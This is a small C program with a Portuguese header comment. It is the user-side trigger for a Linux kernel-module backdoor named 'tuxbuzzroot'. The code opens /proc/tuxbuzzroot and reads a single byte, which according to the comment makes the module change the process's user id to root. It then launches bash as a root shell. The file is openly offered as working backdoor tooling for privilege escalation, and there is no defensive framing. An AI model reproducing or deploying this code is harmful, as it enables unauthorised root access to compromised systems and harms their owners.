/****************************************************************************
tbgiveroot.c 0.0.1b
bY DoC#include
darthfeio@lycos.com
UIN : 52461929
um pequeno programa para demonstrar o funcionamento do modulo tuxbuzzroot.c
ele abre o arquivo /proc/tuxbuzzroot para leitura, le um byte desse arquivo
de modo que o modulo altera o id do programa para 0 (id = 0, root) e depois
executa um shell (bash) que claro, vai ser um rootshell.
*****************************************************************************/
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
int main(int argc,char **argv)
{
int fd;
char buff;
fd = open("/proc/tuxbuzzroot",O_RDONLY);
read(fd,&buff,1);
close(fd);
execl("/bin/bash","bash",NULL);
return 0;
}